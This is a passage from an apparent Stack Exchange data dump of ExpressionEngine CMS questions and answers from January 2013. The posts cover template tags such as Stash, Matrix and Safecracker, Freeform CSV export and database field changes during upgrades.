  <row Id="2276" PostTypeId="1" AcceptedAnswerId="2277" CreationDate="2013-01-03T19:42:59.960" Score="2" ViewCount="245" Body="&lt;p&gt;A while back I built a simple image slider that used &quot;featured&quot; entries from an EE channel. This all works great but did mean that I had to run 2 {exp:entries} tag pairs - the first to get the big images, the second to get the thumbnails. The items were ordered by entry_id so it all worked great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now need to randomise the order of the items in the slider - not normally a problem since I can just add an order_by=&quot;random&quot; parameter. The issue comes in that I'm using 2 tag pairs and need the order to be random but the same for both pairs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured I could use a single entries tag pair, ordered randomly and use Stash to build a set of list items that I can use to output the image thumbnails but I'm having trouble getting it to output more than just one item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a slightly simplified code block showing the basic premise of what I'm trying to do. The only real difference is that I've removed the ce_image tags for outputting the images themselves.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;properties&quot; dynamic=&quot;off&quot; search:property-featured=&quot;=y&quot; orderby=&quot;random&quot;}&#xA;&#xA;    {if {count}==1}&amp;lt;ul class=&quot;slides&quot; id=&quot;slides&quot;&amp;gt;{/if}&#xA;        {!-- first output the big image --}&#xA;        &amp;lt;li&amp;gt;&amp;lt;img src=&quot;{big-image}&quot; alt=&quot;{alt-text}&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;        {!-- now I want to append a list item to a Stash variable for use a bit later --}&#xA;        {exp:stash:set append=&quot;yes&quot; name=&quot;thumbs&quot; parse_tags=&quot;yes&quot; replace=&quot;no&quot;}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{file}&quot;&amp;gt;&amp;lt;img src=&quot;{small-image}&quot; alt=&quot;{alt-text}&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;    &#xA;        {/exp:stash:set}&#xA;&#xA;    {if &quot;{count}&quot;==&quot;{total_results}&quot;}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;slidethumbs&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;#&quot; id=&quot;prev-slide&quot; class=&quot;pager-arrow&quot;&amp;gt;&amp;lt;img src=&quot;/images/leftarrow.png&quot; alt=&quot;&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;ul id=&quot;slidethumbs-list&quot;&amp;gt;&#xA;&#xA;            {!-- this is where Stash should output the list items --}&#xA;            {exp:stash:get name=&quot;thumbs&quot;}   &#xA;&#xA;        &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;a href=&quot;#&quot; id=&quot;next-slide&quot; class=&quot;pager-arrow&quot;&amp;gt;&amp;lt;img src=&quot;/images/rightarrow.png&quot; alt=&quot;&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I haven't used Stash before so may be missing something obvious but I thought this was how Stash worked. Have I got the wrong end of the stick or am I simply overlooking something?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-01-03T20:16:19.703" Title="Building a set of list items using Stash. Not working as expected" Tags="|channel-entries|stash|entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2277" PostTypeId="2" ParentId="2276" CreationDate="2013-01-03T20:06:21.537" Score="4" Body="&lt;p&gt;You are running into a parse order issue. Here is a somewhat simplified version of what you did but another way to approach it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;properties&quot; dynamic=&quot;off&quot; search:property-featured=&quot;=y&quot; orderby=&quot;random&quot;}&#xA;    {exp:stash:append name=&quot;big_images&quot;}&#xA;        &amp;lt;li&amp;gt;&amp;lt;img src=&quot;{big-image}&quot; alt=&quot;{alt-text}&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/exp:stash:append}&#xA;&#xA;    {exp:stash:append name=&quot;thumbs&quot;}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{file}&quot;&amp;gt;&amp;lt;img src=&quot;{small-image}&quot; alt=&quot;{alt-text}&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;    &#xA;    {/exp:stash:append}&#xA;{/exp:channel:entries}&#xA;&#xA;&amp;lt;ul class=&quot;slides&quot; id=&quot;slides&quot;&amp;gt;&#xA;    {exp:stash:get name=&quot;big_images&quot; process=&quot;end&quot;}&#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;slidethumbs&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;#&quot; id=&quot;prev-slide&quot; class=&quot;pager-arrow&quot;&amp;gt;&amp;lt;img src=&quot;/images/leftarrow.png&quot; alt=&quot;&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;ul id=&quot;slidethumbs-list&quot;&amp;gt;&#xA;        {exp:stash:get name=&quot;thumbs&quot; process=&quot;end&quot;}&#xA;    &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;a href=&quot;#&quot; id=&quot;next-slide&quot; class=&quot;pager-arrow&quot;&amp;gt;&amp;lt;img src=&quot;/images/rightarrow.png&quot; alt=&quot;&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you set the stashes in the channel entries, and then outside of it retrieve it.&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="14" LastEditDate="2013-01-03T20:16:19.703" LastActivityDate="2013-01-03T20:16:19.703" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="2279" PostTypeId="2" ParentId="2264" CreationDate="2013-01-03T20:37:23.907" Score="1" Body="&lt;p&gt;This is a shot in the dark as I'm still confused on how you have everything configured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could just pass the &lt;code&gt;{entry_id}&lt;/code&gt; in the &lt;code&gt;{exp:playa:children}&lt;/code&gt; playa tag and that would give you all related products that that entry created:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children entry_id=&quot;{entry_id}&quot; field=&quot;brand&quot;}&#xA;     {title}&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-01-03T20:37:23.907" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2280" PostTypeId="2" ParentId="2270" CreationDate="2013-01-03T20:39:06.983" Score="3" Body="&lt;p&gt;I had this happen to me recently as well, upgrading a DB from 1.7.3 to the latest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if you are in the DB and can respond to each error, the maddening thing is that as soon as you fix one error, it restarts the whole process for the version number it's on, meaning that you have to fix the entire list of errors, or it will simply re-choke on error number 1 again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up backing up the DB, then running the update to catch the next error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would then update my backup to fix that error, trash the version I just ran the update on, then create a new copy of my backup to run the installer against again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was a bit of a nightmare, but I made it through.&lt;/p&gt;&#xA;" OwnerUserId="453" LastEditorUserId="453" LastEditDate="2013-01-03T22:39:55.663" LastActivityDate="2013-01-03T22:39:55.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2281" PostTypeId="1" CreationDate="2013-01-03T20:44:02.027" Score="3" ViewCount="87" Body="&lt;p&gt;how would one be able to get data collected in freeform into a csv on the server. So a CRM can access it via FTP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this even possible? I know very little about cron jobs, is there a plugin that could handle this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="541" LastActivityDate="2013-01-03T21:10:21.933" Title="Auto generate a csv from Freeform 3.x on server." Tags="|solspace-freeform|csv|automation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2282" PostTypeId="1" CreationDate="2013-01-03T20:54:42.107" Score="0" ViewCount="25" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/848/fieldtype-for-2-dependant-fields&quot;&gt;Fieldtype for 2 dependant fields&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I am wondering if its possible to have a relationship between two channel fields.  For example, lets say you have two text inputs: email and mobile_phone.  Is it possible to say at least one of these fields is required before successfully adding an entry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="701" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-01-03T20:54:42.107" Title="Requiring entry in one of two channel fields?" Tags="|custom-fields|channel|fields|entry|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2013-01-03T20:58:36.407" ContentLicense="CC BY-SA 3.0" />
  <row Id="2283" PostTypeId="2" ParentId="2281" CreationDate="2013-01-03T21:10:21.933" Score="2" Body="&lt;p&gt;Typically when I've been grabbing a CSV from Freeform data, I've created a template and pulled the entries using the &lt;code&gt;{exp:freeform:entries}&lt;/code&gt; tag, separating each Freeform field with a comma.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd then visit that page and 'Save As' while adding .csv to the file. In terms of automating it, have a look at &lt;a href=&quot;http://devot-ee.com/add-ons/automatee&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/automatee&lt;/a&gt; if writing a cron job isn't your forte.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-01-03T21:10:21.933" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2284" PostTypeId="2" ParentId="2266" CreationDate="2013-01-03T21:11:33.823" Score="4" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;structure_parent_id&quot; value=&quot;{structure:parent:entry_id}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yup, this will definitely be required for this to work with Structure ... but is &lt;code&gt;{structure:parent:entry_id}&lt;/code&gt; outputting something usable inside your Safecracker form? Check in your rendered page's source, looking at that hidden field. Otherwise, Structure won't know that you want this entry to be assigned to a parent.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-03T21:11:33.823" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2285" PostTypeId="1" AcceptedAnswerId="2286" CreationDate="2013-01-03T22:25:19.720" Score="2" ViewCount="79" Body="&lt;p&gt;I have a couple of channels where I need to fit in more text than what EE natively allows. I was able to figure out how to change these fields from Text to Mediumtext, but when I upgraded from EE 1 to EE 2 those fields were reverted to Text and data lost. Fortunately, I was able to restore the missing data after redoing the edits, but I am wonder if there's any way to tell in advance when this will be an issue on an upgrade? Are field lengths reverted only on major version upgrades, for example?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also wondering if there are any add-ons available for handling such edits, should I need to redo them with each upgrade?&lt;/p&gt;&#xA;" OwnerUserId="352" LastEditorUserId="426" LastEditDate="2013-01-03T23:23:35.790" LastActivityDate="2013-01-03T23:23:35.790" Title="Need longer fields than EE natively allows" Tags="|custom-fields|mediumtext|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2286" PostTypeId="2" ParentId="2285" CreationDate="2013-01-03T23:13:05.463" Score="4" Body="&lt;p&gt;I believe the issue is only presented on major updates. EE2 changed the database structure of EE, including changing database table names, adding new tables and then repopulating them with data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, updates may add or delete fields (data columns), but don't do much to existing fields. We had modified a few fields size to MEDIUMTEXT and one or two to LONGTEXT for different clients and had the same issue with the EE2 upgrade, but no prior issues before that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think generally speaking, almost anything that is an update may contain minor database changes, but won't revert basic fields. Upgrades though can be a different beast. Ellis Lab was pretty good throughout all of 1.x to 1.7.3. I recall making the database modifications in the early days of EE1 and not a single problem until the upgrade to EE2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hindsight being 20/20, I of course realized that the database structure would be changed in EE2, I had just forgotten that I had modified the database myself before. But that's why backups are &lt;strong&gt;very&lt;/strong&gt; important. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Truth is, in a major update such as EE2, I wouldn't have wanted to adjust all the INSERTS and ALTERS at the code level anyway, for fear that I would overlook something. So our process for clients was to backup, restore current database to our development server, then upgrade. Our original plans included running Navicat to compare the databases, but with the names of tables changing etc. that didn't really work. We ended up printing out table structure from old and new then modifying the new. This then required an INSERT of the fields data again, but worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To the best of my knowledge, I've never heard of any add-ons that would help for this situation. Any solution would need to be able to scan the update/upgrade files for specified database changes, but since EE is &quot;shutdown&quot; during the upgrade, I'm not certain if an add-on would work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/about/changelog.html&quot; rel=&quot;nofollow&quot;&gt;Release Notes/Change Log&lt;/a&gt; for updates contains quite a bit of information that can be helpful in planning for the upgrade as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think for most updates, &lt;em&gt;it's not a worry&lt;/em&gt;. For major updates, I'd be concerned. But a quick look at the update file, from the  &lt;code&gt;system/installer/updates/&lt;/code&gt; folder would tell you if the database is being altered.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-03T23:13:05.463" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2287" PostTypeId="2" ParentId="2285" CreationDate="2013-01-03T23:14:15.823" Score="1" Body="&lt;p&gt;First things first:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE --&gt; Admin --&gt; Channels --&gt; Channel fields&lt;/li&gt;&#xA;&lt;li&gt;Choose the Channel field group you'd like to change. &lt;/li&gt;&#xA;&lt;li&gt;Select the field you'd like to change.&lt;/li&gt;&#xA;&lt;li&gt;Change the field type to Text input&lt;/li&gt;&#xA;&lt;li&gt;Adjust the maxlength to the value you'd like.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If that's not what you're looking for (you've tried it but still need more characters/ space) than it's time to dive into the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest using PHPMyAdmin. You're looking for &lt;code&gt;exp_channel_data&lt;/code&gt;. Change the datatype of the custom field to whatever you like. Check &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.1/en/blob.html&quot; rel=&quot;nofollow&quot;&gt;http://dev.mysql.com/doc/refman/5.1/en/blob.html&lt;/a&gt; for a full reference on datatypes. If you know the id of the custom field it's really simple to find. Just look for &lt;code&gt;field_id_7&lt;/code&gt; if your custum field id is 7.&lt;/p&gt;&#xA;" OwnerUserId="426" LastActivityDate="2013-01-03T23:14:15.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2288" PostTypeId="2" ParentId="2100" CreationDate="2013-01-03T23:19:35.077" Score="1" Body="&lt;p&gt;Just wanted to make an official answer to this post. This error was due an architectural change in EE 2.5.5. Their (EllisLab) assumption was that other developers weren't using these classes. So to cope with them breaking the API in a maintenance release, I had to fork the code to support EE 2.5.5+ and anything prior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you email support[at]objectivehtml.com I will send you the latest copy to test before I release to the public.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I have a fix for these issue now in my latest developer build. Just email me for the latest build.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastEditorUserId="101" LastEditDate="2013-01-04T00:06:22.537" LastActivityDate="2013-01-04T00:06:22.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2289" PostTypeId="1" AcceptedAnswerId="6834" CreationDate="2013-01-03T23:22:38.097" Score="4" ViewCount="87" Body="&lt;p&gt;For example, exp_weblog_ or exp_trackbacks?  Any others? Is this something that you normally do?&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2013-02-27T23:26:48.407" Title="After upgrading an EE1 site to EE2, should you delete any unused database tables?" Tags="|database|ee2-upgrades|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2290" PostTypeId="2" ParentId="2194" CreationDate="2013-01-04T00:00:38.963" Score="2" Body="&lt;h3&gt;Login Form&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Global Errors are triggered after the form has been validation. So if all your required fields have values, and adhere to all the custom validation rules, it will pass the validation. So if your username and password is incorrect, that is a global variable and not assigned to any particular fields. Rather, it applies to all the fields. The core library behind all this is called Base_form.php and it is used for a lot of different things. So Global Errors in Authenticate are different than another add-on.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This was a bug that fixed in the latest version (1.2.7). You could have used the &lt;code&gt;{field_error:your_field_name}&lt;/code&gt; but that was not working correctly either. So I fixed all this and made a &lt;code&gt;{error:your_field}&lt;/code&gt; variable in the process to make things easier.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;Forgot Password&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;class&lt;/code&gt; attribute is global. There are bunch of undocumented parameters actually. I will try to document these next chance I get.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:authenticate:forgot_password return=&quot;/some/url/path&quot; class=&quot;your-class&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Both Forms&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You can use the &lt;code&gt;post:&lt;/code&gt; prefix, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;{if post:email}{post:email}{/if}&quot; id=&quot;email&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The public repo for Authenticate has been updated. If you are having problems with Safecracker Registration and want the latest version, contact support[at]objectivehtml.com&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-01-04T00:00:38.963" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2291" PostTypeId="1" AcceptedAnswerId="2364" CreationDate="2013-01-04T00:29:27.327" Score="2" ViewCount="539" Body="&lt;p&gt;I have a sort of odd need and I'm not exactly sure how to solve it so I'm coming here for help. I have a channel entries loop that displays all the latest posts for our site with pagination on our home page. We want to now add a new channel, but for it's entries we only want the most recent entry from that channel to show up in the main all channel channel entries loop. Is something like this possible? If so, how would you do it?&lt;/p&gt;&#xA;" OwnerUserId="384" LastActivityDate="2013-01-06T11:41:41.140" Title="Can I get Channel Entry Loop counts by channel?" Tags="|channel-entries|loop|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2292" PostTypeId="1" AcceptedAnswerId="2346" CreationDate="2013-01-04T01:46:12.333" Score="3" ViewCount="1090" Body="&lt;p&gt;I need to know outside of the Matrix tag pair the total rows that it has. To get total rows within the tag pair, this works for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix_field_short_name}&#xA;   &amp;lt;h1&amp;gt;{total_rows}&amp;lt;/h1&amp;gt;&#xA;{/matrix_field_short_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Outside the tag pair, it seems like this should work: &lt;code&gt;{matrix_field_short_name:total_rows}&lt;/code&gt; per &lt;a href=&quot;http://pixelandtonic.com/matrix/docs/templates&quot; rel=&quot;nofollow&quot;&gt;http://pixelandtonic.com/matrix/docs/templates&lt;/a&gt;. However, instead of getting an integer, I'm getting the string &lt;code&gt;http://domain.com/member_uploads/_s:total_rows/slide.jpg&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Matrix field is names &lt;code&gt;images&lt;/code&gt; and it contains the columns &lt;code&gt;image&lt;/code&gt; (the file) and &lt;code&gt;caption&lt;/code&gt; (a text field).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what might be going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 1: Code Snippet&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;{images:total_rows}&amp;lt;/h1&amp;gt;                        &#xA;&#xA;{images}                                            &#xA;    &amp;lt;div class=&quot;{if row_count == 1}active{/if} item&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;{image:250x250}&quot; alt=&quot;{caption}&quot;/&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;carousel-caption&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;{caption}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;  &#xA;{/images}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2013-01-04T02:18:37.777" LastActivityDate="2013-01-05T16:00:58.367" Title="Matrix in Template: how to get total rows?" Tags="|templates|matrix|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2294" PostTypeId="2" ParentId="2289" CreationDate="2013-01-04T02:52:56.807" Score="2" Body="&lt;p&gt;I would've thought that any exp_weblog_ tables should automatically get converted to exp_channel_ so if they're still there, that would raise a red-flag with me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same with exp_trackbacks; if you've selected not to keep them during the upgrade process, then that table should be removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only tables that should be left over would be ones that were added by older add-ons that you're not using anymore.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-01-04T02:52:56.807" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2295" PostTypeId="2" ParentId="2235" CreationDate="2013-01-04T03:31:18.157" Score="2" Body="&lt;p&gt;After much exploration it doesn't look like this is possible via any existing add-on or natively. I resorted to editing the core file specifically in /system/expressionengine/controllers/cp/content_edit.php adding a check for the member group as to whether to show the multi category editor on a per member group basis. &lt;/p&gt;&#xA;" OwnerUserId="408" LastActivityDate="2013-01-04T03:31:18.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2296" PostTypeId="1" AcceptedAnswerId="4784" CreationDate="2013-01-04T03:36:27.473" Score="1" ViewCount="205" Body="&lt;p&gt;I have a simple Safecracker form with email, password and password confirm fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried filling up the forms with the a password less then 5 characters. When I submitted, I get this error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The password you submitted must be at least 5 characters long&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in field errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is that, isn't this supposed to be an inline error? If it is not, how do access it in {field_errors}? I want it to show as an inline error near the field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Here is my code, truncated to relevant parts.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:safecracker channel=&quot;members&quot; class=&quot;form-horizontal&quot; dynamic_title=&quot;[email]&quot; error_handling=&quot;inline&quot; include_jquery=&quot;no&quot; register_member=&quot;yes&quot; return=&quot;/sign-up/&quot; safecracker_head=&quot;no&quot;}&#xA;&#xA;{if global_errors:count &amp;gt; 0}&#xA;    &amp;lt;div class=&quot;errors group tencol&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;General Errors&amp;lt;/h3&amp;gt;&#xA;&#xA;        &amp;lt;ul class=&quot;bullets&quot;&amp;gt;&#xA;        {global_errors}&#xA;            &amp;lt;li&amp;gt;{error}&amp;lt;/li&amp;gt;&#xA;        {/global_errors}&#xA;        &amp;lt;/ul&amp;gt;   &#xA;    &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;&#xA;    {if field_errors:count &amp;gt; 0}&#xA;    &amp;lt;div class=&quot;errors group tencol&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;Form Errors&amp;lt;/h3&amp;gt;&#xA;&#xA;        &amp;lt;ul class=&quot;bullets&quot;&amp;gt;&#xA;        {field_errors}&#xA;            &amp;lt;li&amp;gt;{error}&amp;lt;/li&amp;gt;&#xA;        {/field_errors}&#xA;        &amp;lt;/ul&amp;gt;   &#xA;    &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;&#xA;...&#xA;&#xA;    &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; value=&quot;{if post:password}{post:password}{/if}&quot; id=&quot;password&quot;&amp;gt;&#xA;    {if error:password != ''}&#xA;       &amp;lt;span class=&quot;help-inline&quot;&amp;gt;{error:password}&amp;lt;/span&amp;gt;&#xA;    {/if}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-01-15T06:06:52.423" Title="Safecracker Registration Password Field Error" Tags="|forms|safecracker-registration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2297" PostTypeId="1" CreationDate="2013-01-04T06:56:15.227" Score="1" ViewCount="160" Body="&lt;p&gt;Do you have any experience with partial sighted or blind people using the EE control panel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm very interested to know if there are any issues which might affect visually-impaired people when using ExpressionEngine. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="702" LastEditorUserId="55" LastEditDate="2013-01-04T18:13:34.513" LastActivityDate="2013-01-04T18:13:34.513" Title="Accessibility of EE’s control panel" Tags="|control-panel|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2298" PostTypeId="2" ParentId="2269" CreationDate="2013-01-04T08:32:24.383" Score="7" Body="&lt;p&gt;I'm not sure what type of variable &lt;code&gt;{transcribe:language_abbreviation}&lt;/code&gt; is, but I presume it's an early parsed var, which could cause parsing issues. If both the LV and Transcribe var are parsed early, there's no way to control which one is parsed first in the same stage. There are 2 workarounds I can think of, assuming the Transcribe var is parsed early (which it is, according to the &lt;a href=&quot;http://eeharbor.com/transcribe/documentation#tag-reference&quot;&gt;tag reference&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Preload Replace&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Use Preload Replace vars to define the language suffix for the categories, similar to the approach I explained &lt;a href=&quot;http://gotolow.com/blog/snippets-and-preload-replace-variables&quot;&gt;in this blog post&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if transcribe:language_abbreviation != 'en'}&#xA;    {preload_replace:pre_lang_suffix=&quot;_{transcribe:language_abbreviation}&quot;}&#xA;{/if}&#xA;{if transcribe:language_abbreviation == 'en'}&#xA;    {preload_replace:pre_lang_suffix=&quot;&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that if the Transcribe vars are indeed early parsed vars, the simple conditional syntax should work. Using simple conditionals here is necessary; don't use the &lt;code&gt;{if:else}&lt;/code&gt; statement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then use this inside your LV instead of the conditionals:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;people&quot; style=&quot;linear&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='about/people'}&quot;&amp;gt;{category_name{pre_lang_suffix}}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then keep using the variable syntax for the LV: &lt;code&gt;{lv_nav}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;LV Tag Syntax + Preparse&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Another workaround would be to use LV's tag syntax and the &lt;code&gt;preparse:&lt;/code&gt; parameter to pass on the Transcribe var. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:single&#xA;    var=&quot;lv_nav&quot;&#xA;    preparse:lang_abbr=&quot;{transcribe:language_abbreviation}&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And use the variable &lt;code&gt;{lang_abbr}&lt;/code&gt; inside the LV instead of the full Transcribe variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if lang_abbr == 'en'}&#xA;    {category_name}&#xA;{if:elseif lang_abbr == 'fr'}&#xA;    {category_name_fr}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should also be able to use the full Transcribe variable name with the preparse 